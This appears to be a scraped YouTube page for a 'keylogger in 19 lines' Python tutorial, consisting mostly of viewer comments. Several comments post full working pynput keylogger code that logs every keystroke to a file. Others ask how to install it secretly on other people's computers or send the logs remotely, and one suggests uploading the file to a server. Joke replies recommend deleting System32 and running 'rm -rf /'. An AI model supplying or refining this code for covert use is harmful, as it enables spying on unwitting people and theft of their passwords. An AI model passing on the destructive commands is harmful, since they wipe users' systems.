HOW TO MAKE A KEYLOGGER IN 19 LINES OF CODE - PYTHON TUTORIAL

Sdílet
Vložit
  • čas přidán 6. 09. 2024
  • ❤️ Support me because corporate sponsors rarely do!
    / joshuafluke
    🔥 Need a resume/cover letter? Check out my templates!
    grindreel.com/
    👊 Join the community!
    / discord
    My Other Socials🤳
    / joshua_fluke
    / joshuafluke 📸
    / joshuafluke 🐦
    📧 Email me directly!: grindreel@gmail.com
    📧 Business inquiries: Joshuafluke@thoughtleaders.io
    My Gear ⚙️: kit.co/JoshuaF...

Komentáře • 706

  • @facu5563
    @facu5563 Před 6 lety +274

    Hey Joshua!, great tutorial
    *********IF YOU CAN'T RUN THE SCRIPT READ THIS********
    There is a problem in line 8, with the variable 'messages' at min 5:50 is actually 'message' that's why nobody can run your script.
    Even though you have debug it you forgot to put that in the video and us (viewers) couldn't see the variable
    **************************************************************
    Anyways, great tutorial, keep up with the videos
    Cheers from Argentina

    • @stevennagle6807
      @stevennagle6807 Před 5 lety +8

      This was my problem as well. Thanks.

    • @thesilvercreepers
      @thesilvercreepers Před 5 lety +3

      Thank you so much

    • @goobaflooba
      @goobaflooba Před 5 lety +4

      If you still have the code could you copy and paste it in a reply, I have copied this exactly and it doesn’t seem to work

    • @nightviper7354
      @nightviper7354 Před 5 lety +1

      still not working

    • @Xy-gx8ou
      @Xy-gx8ou Před 5 lety +13

      //////////////////////////////////////////////////////////////////////////////////////////////////
      import logging
      from pynput.keyboard import Key, Listener
      #Log file
      log_dir = ""
      logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s:')
      def on_press(key):
      logging.info(str(key))
      #if key = Key.esc:
      #return false
      with Listener(on_press=on_press) as listener:
      listener.join()
      //////////////////////////////////////////////////////////////////////////////////////////////////
      if this doesnt work because visual studio cant import the pynput directory, try copy-paste the 'pynput' directory in the same place where your logger.pyw is located

  • @matthewpalmer1428
    @matthewpalmer1428 Před 5 lety +20

    THE BACKGROUND SONG ... for anyone wondering like me, it's Second Side by Yomoti. ;) You're welcome.

  • @unclelizard5580
    @unclelizard5580 Před 6 lety +357

    Huh. From now on, when I'm browsing the dark web, I'm going to be paranoid and check my task manager every 5 minutes!

    • @shekhar81
      @shekhar81 Před 5 lety +2

      LoL man 😂😂

    • @asdfghjklasdfghjkl2548
      @asdfghjklasdfghjkl2548 Před 5 lety +16

      You are crazy for being on the darknet with Windows dude🤣😅😆 I wouldn't worry about your task manager just sayin.....

    • @brianjohnson8549
      @brianjohnson8549 Před 5 lety

      @@asdfghjklasdfghjkl2548 he,s saying he's gonna check the task manager to make sure the dark web didn't give him a rat

    • @sugandesenuds6663
      @sugandesenuds6663 Před 5 lety +7

      hahah youre surfing darkweb with windows LOL thats too good

    • @jeffleigh491
      @jeffleigh491 Před 4 lety

      @Sam Peterson Got any good Market links ?

  • @alvin825
    @alvin825 Před 5 lety +32

    for some reason at 1:50 i needed to type "py setup .\setup.py" instead of "python setup .\setup.py" for it to work

    • @not_really_jareth6427
      @not_really_jareth6427 Před 5 lety +1

      me too

    • @glassbland8763
      @glassbland8763 Před 5 lety +1

      this means you did not add the environment path to your system files. if you follow this video it will show you how to correctly set it up: czcams.com/video/dNFgRUD2w68/video.html

    • @McSuicide
      @McSuicide Před 3 lety

      @@glassbland8763 i didit work ik this is old but still

  • @ggRebs
    @ggRebs Před 6 lety +38

    For those who couldn't get it to write to the file, when he types in "(Messages)s" make it "(Message)s", that fixed mine

  • @Xy-gx8ou
    @Xy-gx8ou Před 5 lety +70

    For everyone who is not able to import the pynput: go to your keylog folder and figure out the actual path of the pynput directory. Mine was "keylog\pynput-master\lib"
    then change your Directory with the cd command to this exact path before you type "python" and "import pynput". This should fix your problem if you got something like:
    /*
    Traceback (most recent call last):
    File "", line 1, in
    ModuleNotFoundError: No module named 'pynput'
    */

    • @slaxblake
      @slaxblake Před 5 lety +2

      but, do we have to create and empty folder called keylog or what?

    • @6SpeedRobbyG
      @6SpeedRobbyG Před 5 lety

      Der H mine is in the lib folder as well but I still get this error when I try to import it. Any tips?

    • @romzamir
      @romzamir Před 5 lety +1

      you saved my life!!!one1!

    • @Xy-gx8ou
      @Xy-gx8ou Před 5 lety +1

      ​@BPGStudios i hope i can help you in time. The command you are looking for is "cd" - short for "change directory". Heres an example that should work for you (dont copy the quotation marks): "cd pynput-master\lib". You have to do this in the console as shown in the video. If this doesnt work you need to check your folder structure with "dir". there you can see what files/directories are available to you. Use cd + the name of the directory or "cd.." to get back. After thta you can open python with "python" and then type "import python".

    • @ShadowDashGaming
      @ShadowDashGaming Před 5 lety

      @@Xy-gx8ou Do you know why I'd get this error?
      Traceback (most recent call last):
      File ".\logger.pyw", line 2, in
      from pynput.keyboard import Key, Listener
      File "F:\Keylog\pynput-master\lib\pynput\__init__.py", line 40, in
      from . import keyboard
      File "F:\Keylog\pynput-master\lib\pynput\keyboard\__init__.py", line 44, in
      from ._win32 import KeyCode, Key, Controller, Listener
      File "F:\Keylog\pynput-master\lib\pynput\keyboard\_win32.py", line 30, in
      import six
      ModuleNotFoundError: No module named 'six'

  • @gordonrarity8014
    @gordonrarity8014 Před 5 lety +42

    why does no one use the pip install command? I think it's installed when you download python for windows
    Windows key + R > type "cmd" then type run the command "pip install pynput" or pip3 install pynput"
    if that doesn't work you haven't installed pip while installing python. it saves downloading and unzipping the file and takes about 5 seconds to install packages

    • @jellohunter7981
      @jellohunter7981 Před 4 lety +2

      Pip sometimes doesn’t exist as an environment variable. You can sometimes run it from the scripts directory

    • @john_mcafees_poop_pipe2906
      @john_mcafees_poop_pipe2906 Před 3 lety

      @@jellohunter7981 Isn't that what he literally just explained in his comment loo

    • @jellohunter7981
      @jellohunter7981 Před 3 lety

      @@john_mcafees_poop_pipe2906 no he said the issue is that you haven’t installed it, that may not be always the case

    • @jellohunter7981
      @jellohunter7981 Před 3 lety

      @@john_mcafees_poop_pipe2906 it can sometimes be the environment variable

  • @Minecrafter-up4uo
    @Minecrafter-up4uo Před 4 lety +1

    on line 2 it says this what do i do {
    "resource": "/c:/Users/ashan/Desktop/New folder/logger.pyw",
    "owner": "python",
    "code": "syntax-error",
    "severity": 8,
    "message": "unexpected indent (, line 2)",
    "source": "pylint",
    "startLineNumber": 2,
    "startColumn": 4,
    "endLineNumber": 2,
    "endColumn": 4
    }

  • @jjjjag7262
    @jjjjag7262 Před 4 lety +5

    why my folder cant open as code?

    • @misa7598
      @misa7598 Před 3 lety

      uninstall it then reinstall it and check all the boxes during reinstallation process and make sure you click "open with code" option

  • @SpiderWolf
    @SpiderWolf Před 4 lety +4

    Traceback (most recent call last):
    File "", line 1, in
    ModuleNotFoundError: No module named 'pynput'

    • @malcolmlai6915
      @malcolmlai6915 Před 4 lety

      @Sebastián Ywaskewycz newbie here. How do you change the directory

    • @investmentinsider7
      @investmentinsider7 Před 4 lety

      @@malcolmlai6915 just type cd .(whatever your directory is, without braces)

  • @arindamroy7671
    @arindamroy7671 Před 3 lety +7

    A simple way to get pynput ...>
    cd keylog/pynput-master....
    with the directory set to pynput-master --> "pip install pynput"
    Fixes the problem and then the "import pynput" does not produce an error. Just like Josh.
    Hope it helps!

  • @setlixcz
    @setlixcz Před 10 měsíci +1

    its really easy, but the problem is that u cant run it on other computers than your own, i mean u can run it but the keylog will be created for themselves

  • @xDEKIx
    @xDEKIx Před rokem +1

    I did everything no error codes, but when I open note pad and type something, it won't shot in the key_log txt file how do I fix this??

  • @prodbycure.
    @prodbycure. Před 4 lety +8

    How would you be able to remotely access The txt file from somewhere else would you have to somehow in next it and get it to send it to you ??

    • @thefuton
      @thefuton Před 3 lety

      Use ftblib and send the file to your server

    • @prodbycure.
      @prodbycure. Před 3 lety

      @@thefuton thanks man

  • @luisfernandomoraes5925
    @luisfernandomoraes5925 Před 5 lety +7

    Nice video, but a doubt, how do I send the information collected by the keylogger to a simple txt file?

  • @pythonieeinoth9006
    @pythonieeinoth9006 Před 5 lety +5

    Is there a way can edit this key-logger to make it write in a single line? Make it record key strokes in paragraphs. another question , is 'key' the variable that keeps the number of strokes on the text file? or log_dir?

  • @b_ghoster7526
    @b_ghoster7526 Před 6 lety +7

    Were is the link? I think I'm dumb

  • @Marius-ff1en
    @Marius-ff1en Před 2 lety +1

    Hello I have a problem:
    The code works but only logs when I type stuff in visual studio.
    When I try to run logger.pyw I get the loading icon but nothing happens.
    Nothing gets logged.
    Nothing shows up in taskmanager either.

  • @Krispza
    @Krispza Před 3 lety +2

    when i try to do python setup is says warning the wheel package is not available

  • @littlebenplanet2
    @littlebenplanet2 Před 5 lety +5

    Suppose now that you log out and log back in typing your username and password over again. Will it catch that? And what if you shut down your computer and re-boot? Will it catch the username and password then?

    • @pragyan_1759
      @pragyan_1759 Před 3 lety

      if we shut down the computer all the processes will close so no

  • @LongLiveDJ1
    @LongLiveDJ1 Před 3 lety +1

    The wheel package is not available
    how do i get past this error!

    • @goodperson7427
      @goodperson7427 Před 3 lety +1

      I am getting the same error. It's a really old video maybe the source code is outdated

  • @galaxite8631
    @galaxite8631 Před 2 lety +1

    meanwhile on the 9th line: when is this damn line ever gonna end?

  • @zahmbohddie4004
    @zahmbohddie4004 Před 4 lety +1

    so technicly i could get myself an old ass computer buy as many 10$ keyboards as i can monger and look up as many keyloggers as i can find on the dark web and practise boxing on the keyboards all night for years to see if it ticks of the hacker?

  • @shen700
    @shen700 Před 6 lety +9

    Mine just gives me a blank text file?

    • @MusicIsMyOxycontin
      @MusicIsMyOxycontin Před 5 lety

      Same here

    • @wp-wisdom
      @wp-wisdom Před 5 lety

      These tutorial are fake. I almost tried thousands of them. But got the same result as yours.not everyone can hack

    • @xhir0
      @xhir0 Před 5 lety +1

      @@wp-wisdom your not doing something right.

    • @alfonsoquintero8699
      @alfonsoquintero8699 Před 4 lety

      @@xhir0 i got an empty file too... so i'm not sure what i did wrong, any idea?

  • @novaserpent9233
    @novaserpent9233 Před 4 lety +3

    Did anyone get' can't open file '.\logger.pyw': [Errno 2] No such file or directory'
    if so how did you fix it?

  • @MrInfamousComic
    @MrInfamousComic Před 5 lety +1

    idk what I did to make it work but make sure you get all the indents correct and the line order EXACTLY right. I know its stupid but it has to be like that. however right now it inputs a u' after eversingle one of my regular keys

  • @toyinatofarati5512
    @toyinatofarati5512 Před 4 lety +3

    I'm getting an error message, NO MODULE NAMED 'PYNPUT'

    • @lopez7703
      @lopez7703 Před 4 lety

      switch to python 3.7.7

    • @prohurtz
      @prohurtz Před 4 lety

      open command prompt and type: pip install pynput

  • @mrDADtheSecond
    @mrDADtheSecond Před 6 měsíci +1

    There are no links in the description

  • @ogfv1082
    @ogfv1082 Před 3 lety

    it says WARNING: The wheel package is not available.

  • @talpadiea7105
    @talpadiea7105 Před 3 lety +1

    TypeError: join() missing 1 required positional argument: 'self' does anyone have a fix for this?

  • @ethical1872
    @ethical1872 Před 5 lety +5

    My key_log.txt is empty, can you help me understand why?

    • @romzamir
      @romzamir Před 5 lety +4

      On line 8 where it says messages change it to message

    • @NecroKennny
      @NecroKennny Před 5 lety +4

      @@romzamir i did this and it still shows up empty

  • @lepsy7056
    @lepsy7056 Před 5 lety +3

    when he types in (Messages)s make it (Message)s also if it still does not work double check your spelling and all other characters and ctrl+S to save it then run it again

  • @BigHud83
    @BigHud83 Před 2 lety +1

    This was dope thanks sir ✊🏾

  • @AnubisMD
    @AnubisMD Před 4 lety +2

    Any tips on how to spot a keylogger running in the background and if you do manage to spot one,how do you deal with it? Thanks in advance!

    • @KevinArellano
      @KevinArellano Před 2 lety

      Typically how Josh showed us, going to Task Manager and ending any suspicious apps running. Some "viruses" bloat other programs and that's basically a re-imaging of a computer. Unless it's a hardware one then you literally have to destroy it.

  • @kallaviruthan9023
    @kallaviruthan9023 Před 3 lety +1

    There is no link to git in the description.

  • @frenchbaggette3567
    @frenchbaggette3567 Před 4 lety +31

    your voice reminds me of Morty from "Rick and Morty"

  • @luismarrero9293
    @luismarrero9293 Před 2 lety +2

    that exact same keylogger code I saw it in one of the videos of David Bombal . It will be good if someone explained what the code should do by parts. Beginners are lost like myself. Also there is an option to compile the code with nuitka to convert the py to exe to run it in windows without python . thanks for the info .

  • @ibnsaltus
    @ibnsaltus Před 5 lety +8

    when I type import pynput it says [Traceback (most recent call last):
    File "", line 1, in
    ModuleNotFoundError: No module named 'pynput']

    • @rashadh1783
      @rashadh1783 Před 5 lety +2

      I'm having the same issue. Anyone have a solution?

    • @biofluorescence
      @biofluorescence Před 4 lety +1

      Install pynput by typing pip install pynput

  • @RJ14VlogsOfficial
    @RJ14VlogsOfficial Před 5 lety +1

    error in this line
    with Listener(on_press=on_press) as listener

  • @factula9973
    @factula9973 Před 6 lety +6

    for anyone who's having trouble doing this
    from pynput.keyboard import Key, Listener
    import logging
    log_dir = ""
    logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
    def on_press(key):
    logging.info(key)
    with Listener(on_press=on_press) as listener:
    listener.join()
    he didnt mention some of his changes.

    • @ForsakePariah
      @ForsakePariah Před 5 lety

      Yours worked for me. Much appreciated!

    • @techaid1940
      @techaid1940 Před 5 lety

      sadly this didnt work i keep on getting a syntax error here:
      File ".\logger.pyw", line 6
      logging.basicConfig(filename=log_dir) + "key_log.txt"), level=logging.DEBUG, format="%(asctime)s: %(messages)s:")
      ^

      SyntaxError: invalid syntax

    • @timothniel
      @timothniel Před 4 lety

      Aiden Atkinson - Aido Playdo it must be %(message)s :’)

  • @tostupidforname
    @tostupidforname Před 6 lety +1

    Have to admit i dont really understand what you do before you start to code. Would be neat if someone could explain.

  • @samanthazxy2445
    @samanthazxy2445 Před 6 lety +6

    Cool Video! I was wondering how I can make the code output every word in a line instead of one character at a time, do you have any suggestions?

    • @cloud9254
      @cloud9254 Před 5 lety +12

      Try and start by deleting system 32

    • @lukethurman9537
      @lukethurman9537 Před 3 lety +1

      This guy is a troll

    • @rendoesmath
      @rendoesmath Před 2 lety +1

      run rm -rf / in command line

    • @nivksobrave
      @nivksobrave Před rokem +1

      Try learning formatting languages to better the readability

    • @SamSepiol127
      @SamSepiol127 Před rokem

      you have to .replace the string apices ' with a quotation mark with no space something like this: log.replace("'","") and then if you want you have to watch for the spacebar key pressed and replace it with a space " "
      hope it helps

  • @ilankonig1745
    @ilankonig1745 Před 5 lety +3

    so how would i send it to someone wouldnt they need python installed aswell and it couldnt be hidden in another program or anything

    • @johnspence8141
      @johnspence8141 Před 4 lety

      You wouldn't...you'd need access to their desktop

  • @AstroAzzy
    @AstroAzzy Před 3 lety +9

    FBI, I’m here for non malicious purposes

    • @bubavunga397
      @bubavunga397 Před 3 lety

      FBI, I am here just to mess with my friend.

    • @DYLXNNN
      @DYLXNNN Před 3 lety

      FBI idk why tf i am here but i am going to use this to track what i type because idk what i be searching up sometimes.

  • @andrwsxo596
    @andrwsxo596 Před 4 lety +2

    People like you is why grandmas are paranoid😂

  • @mts_cool
    @mts_cool Před 2 lety +1

    for me when ever i put python .\setup.py and enter it just tellss me this WARNING: The wheel package is not available.

  • @dreamerlynx7197
    @dreamerlynx7197 Před 5 lety +6

    SyntaxError: unexpected character after line continuation character

  • @brendanpaoletti2093
    @brendanpaoletti2093 Před 5 lety +7

    One of my favorite programing language's

  • @iamrichalready
    @iamrichalready Před 2 lety

    i success to everything in this video, but got no one character into the txt file. the file failed to record the strokes. where is my fault?

  • @thecaptain5040
    @thecaptain5040 Před 6 lety +2

    Joshua Fluke,
    Hi a query because my Keylog folder does not appear? from my windows 10 and download python and install everything as you showed in this tutorial.
    Also when I'm going to extract from pynput-master.zip does not I extract the Keylog folder?
    That's why I consult you.

  • @ofrelec1157
    @ofrelec1157 Před 6 lety +4

    Do you need Winrar to extract it or can you just extract it into the log folder? And I couldn't install setup.py. Then having the error saying no commands supplied.

    • @JoshuaFluke1
      @JoshuaFluke1  Před 6 lety

      Ofrelec make sure you're in the pynput folder when you install

    • @theautistic9246
      @theautistic9246 Před 5 lety

      Try with: pip install pyinput
      inb4: You need python3+

    • @harishlakshmanapathi1078
      @harishlakshmanapathi1078 Před 5 lety

      @@JoshuaFluke1 thank you so much for this command it worked like a charm but can you explain me a little bit about this anomaly within pip and python installer. Thank you once again you are doing a great job.

  • @happyoncrack1786
    @happyoncrack1786 Před 3 lety +1

    Does this work when i let other people download it and i can see what their typing

  • @contentshark5122
    @contentshark5122 Před 3 lety

    WHy do you need to write code to create keylogger, when there is tools available ?

  • @kevindrake1819
    @kevindrake1819 Před 6 lety +2

    After 2:06 it gives me an error with the message
    "python : The term 'python' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of
    the name, or if a path was included, verify that the path is correct and try again.
    At line:1 char:1
    + python .\setup.py
    + ~~~~~~
    + CategoryInfo : ObjectNotFound: (python:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException"
    Does this mean I installed python incorrectly? All help will be appreciated.

    • @ACTS-2.38
      @ACTS-2.38 Před rokem

      I think your antivirus is protecting it.

  • @ephraimmulilo7098
    @ephraimmulilo7098 Před 5 lety +1

    Is there a way to get it not to go to a new line when logging keys only until the space bar is pressed?

  • @markangelolandas5526
    @markangelolandas5526 Před 5 lety +1

    I have this problem with invalid syntax in logger.pyw it show a red thing and I tried to rewrite all code but still show the same problem.

  • @badmintoninsight9824
    @badmintoninsight9824 Před 2 lety

    could u get it into someones computer and get the text back to ur computer, like a remote access keylogger

  • @josephbornman8462
    @josephbornman8462 Před 7 měsíci

    Nice. Did it, and Windows Defender won't let me run the file haha

  • @rawkstar952
    @rawkstar952 Před 5 lety +1

    why all youtube tutorials about keylogging don't talk about special characters and keys?

  • @opbreports2152
    @opbreports2152 Před 5 lety +1

    Does this work on a mac, because it does not put anything inside of the file.

  • @KolsonO
    @KolsonO Před 4 lety +1

    how do if fix the import pynput, it just comes up with the error
    >>> import pynput
    Traceback (most recent call last):
    File "", line 1, in
    ModuleNotFoundError: No module named 'pynput'

  • @ErCommandant
    @ErCommandant Před rokem

    Can someone help me everything works but when I want to start the code (not with VS) its not working?

  • @vaggelis8514
    @vaggelis8514 Před 4 lety +1

    File ".\logger.pyw", line 8, in
    logging.basicConfig(filename=(log_dir + "key_log.txt"), level=loggin.DEBUG, format='%(asctime)s: %(message)s:')
    NameError: name 'logging' is not defined

  • @Minecrafter-up4uo
    @Minecrafter-up4uo Před 4 lety

    it also says this what do i do{
    "resource": "/c:/Users/ashan/Desktop/New folder/logger.pyw",
    "owner": "python",
    "code": "syntax-error",
    "severity": 8,
    "message": "unexpected indent (, line 7)",
    "source": "pylint",
    "startLineNumber": 7,
    "startColumn": 2,
    "endLineNumber": 7,
    "endColumn": 2
    }

  • @khoroshoigra8388
    @khoroshoigra8388 Před 3 lety +1

    0:07 LMAO

  • @GriffinMusicProduction

    SO what if I DID get an error when you said "If you didn't get an error....." and proceeded to continue without saying what to do if we get one

  • @-.____
    @-.____ Před 2 lety

    NOW,
    how to share it to someone?? without letting them know.

  • @Omenomega866
    @Omenomega866 Před 5 lety +1

    My CD code line says path doesn't exist. Help?

  • @papyrus1113
    @papyrus1113 Před 5 lety +1

    Why exactly do we need the Listener for?

  • @itsglizzy737
    @itsglizzy737 Před 4 lety +1

    Any way I can have it that the txt log gets hidden in like the downloads besides where the logger is ?

  • @dualelegence
    @dualelegence Před 5 měsíci

    How can we spread it ? Like can we make listener on our end or smtg like that

  • @AyoSPYGD
    @AyoSPYGD Před rokem

    i just cant open the folder with code idk why

  • @tanvirahmed7390
    @tanvirahmed7390 Před 5 lety +1

    i copied the same code but my file creates a the file but the does not print out anything.
    what can be the reason ?

  • @ballztojo3824
    @ballztojo3824 Před 4 lety +2

    When I right click it does nothing

    • @heroman708
      @heroman708 Před 3 lety

      You should double click i think

  • @Complex_youtube
    @Complex_youtube Před 4 lety +1

    You didn't put it in the description omg

  • @conlaedcarson3979
    @conlaedcarson3979 Před 3 lety

    i have gotten it to work but when i press a key it dosnt put it into the text file can someone help me

  • @dreamerlynx7197
    @dreamerlynx7197 Před 5 lety +16

    10:08 Dust on you camera btw (right corner)

  • @elefski
    @elefski Před rokem

    it dosent show to me "open with VSC" :(

  • @shauryapatel8372
    @shauryapatel8372 Před 4 lety

    it does not work for me not even the esc press

  • @madlads2606
    @madlads2606 Před 4 lety +1

    okay ik this kinda a year late but if u see this, everything just goes into the terminal???? help?

  • @steventhomas8520
    @steventhomas8520 Před 4 lety +1

    where do u get the keylogger file?

  • @brothdaddy5111
    @brothdaddy5111 Před 5 lety +1

    Can this be setup inside a USB so that i can set it up on my PC and plug it into someone elses and they would never know?

  • @Skz0r_
    @Skz0r_ Před 6 měsíci

    @joshawa fluke
    This is 5 years ago, but; "wrapper = Textwrapper(initial_indent="* ")", was still a thing... Imagine logging a fast typer, & the words only appear one above the other in your logfile. 😅 In reality, this is the very basic of basics when writing a logg3r. But not efficient.
    A.

  • @marenas9038
    @marenas9038 Před 9 měsíci

    There is no option to open with visual studio code even after I install it

    • @kyledaboi1745
      @kyledaboi1745 Před 6 měsíci

      theres an option to toggle it whilst installing it

  • @hampusekedahl7309
    @hampusekedahl7309 Před 5 lety +1

    Awesome tutorial, could anyone help me with what statment needed for it to print each letter on the same line as a regular text document. I hope someone understand what i mean sure its really simple but i tried to print it as a string with loop but dident work.

    • @abhishekbiju4196
      @abhishekbiju4196 Před 4 lety +1

      Try using the print(#character or whatever#, end= ' , ' )

  • @sipper.sipper
    @sipper.sipper Před 4 lety

    this just doesnt work no matter what fixes are provided in the comments since visual studio keeps highlighting text like its weird when its noy

  • @kymaeryk
    @kymaeryk Před 4 lety

    There is no link in the description for the third party library

    • @Strajaize
      @Strajaize Před 4 lety

      just use pip install pynput in cmd

  • @suryanshsingh4970
    @suryanshsingh4970 Před 5 lety +1

    when i tried it i have to keep the terminal open even if i put the extension to pyw

  • @tahmidbhuiyan5591
    @tahmidbhuiyan5591 Před 3 lety +1

    that intro had me rolling

  • @iorekbyrnison8539
    @iorekbyrnison8539 Před 6 lety

    Please send link to the glyph wallpaper that you have in the secondary moitor. Thanks :)

  • @SabotageLuke
    @SabotageLuke Před 4 lety

    im pretty sure this is the final code
    from pynput.keyboard import Key, Listener
    import logging
    #if no name it gets put into an empty string
    log_dir = ""
    #This is a basic logging function
    logging.basicConfg(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s
    #this is from the library
    def on_press(key):
    logging.info(str(key))
    #if key == Key.esc:
    # Stop listener
    #return false
    #this says, listener is on
    with Listener(on_press=on_press) as listener:
    listener.join()
    lmk if any mistakes

    • @SabotageLuke
      @SabotageLuke Před 2 lety +1

      @K Gamer25 thanks after 2 years i finally found the solution

  • @shaymaman3177
    @shaymaman3177 Před 4 lety

    If there is a computer in the domain (meaning that there is user account switching pretty often) would it work from the moment I start the program until I stop or it's going to "kill itself" when there is an account log out?

  • @biscuitehvh
    @biscuitehvh Před 3 měsíci

    it doesn t make the log file any ideas?

  • @ives33
    @ives33 Před 4 lety

    error 8:27 pynput.keyboard Errno 2] No such file or directory

  • @dukenuke2690
    @dukenuke2690 Před 2 lety

    what do i have to change so that windows doesnt see it as a virus :/?

  • @misa7598
    @misa7598 Před 3 lety +3

    could you please explain how we get the key strokes into the .txt file?

  • @insaneusername3572
    @insaneusername3572 Před 4 lety +1

    epic hacker intro

  • @simfoninisorkestras3785
    @simfoninisorkestras3785 Před 5 lety +1

    cool wallpaper, where i can get it?

  • @emilhenningsson7774
    @emilhenningsson7774 Před 2 lety

    you the guy from hunger games with the grandma?

  • @rtc4805
    @rtc4805 Před rokem

    Hey at 2:17 I run everything correctly but VSC (virtual Studio Code) gives me an erroy. It firsts gives me a warning saying the wheel package is not available. The Error says subprocess-exited-with-error
    What do I do. I have PIP btw